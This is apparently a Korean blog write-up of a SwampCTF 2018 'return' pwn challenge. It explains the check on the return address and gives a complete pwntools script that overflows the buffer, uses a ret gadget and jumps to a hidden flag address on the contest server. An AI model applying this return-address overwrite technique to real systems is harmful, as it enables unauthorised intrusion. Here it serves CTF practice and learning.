swamp return writeup

2018. 4. 8. 23:350x07 CTF/[스스로 푼 것]

728x90

소요 시간 : 5시간 


문제 의도

1 read함수를 통해 50바이트를 읽어온다.

2 retaddr이 &locret_8048595보다 크면 종료 


3. 숨겨진 주소 : 0x08048AEA 



ropgadget 중 ret를 이용해야 함.


payload : 버퍼를 0x26 채운 뒤 + ret 가젯 주소 + 내가 가고싶은 주소(플래그 있는 주소) 


코드

from pwn import *


context.log_level ='debug'


p = remote('chal1.swampctf.com',1802)

#p = process("./return")

print p.recvuntil("do: ")

payload =""

dummy = "A"*(0x26 + 4)

_ret = p32(0x8048372)

shell = p32(0x8048615)

payload = dummy + _ret + shell

p.send(payload)

print p.recv(2048)

print p.recv(1024)

print p.recv(1024) 


'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글

whitehat malloc  (0) 2018.04.14
defcon 2015 babyecho  (0) 2018.04.09
swamp journey writeup  (0) 2018.04.08
sunshine password writeup  (0) 2018.04.08
sunshine hackername writeup  (0) 2018.04.08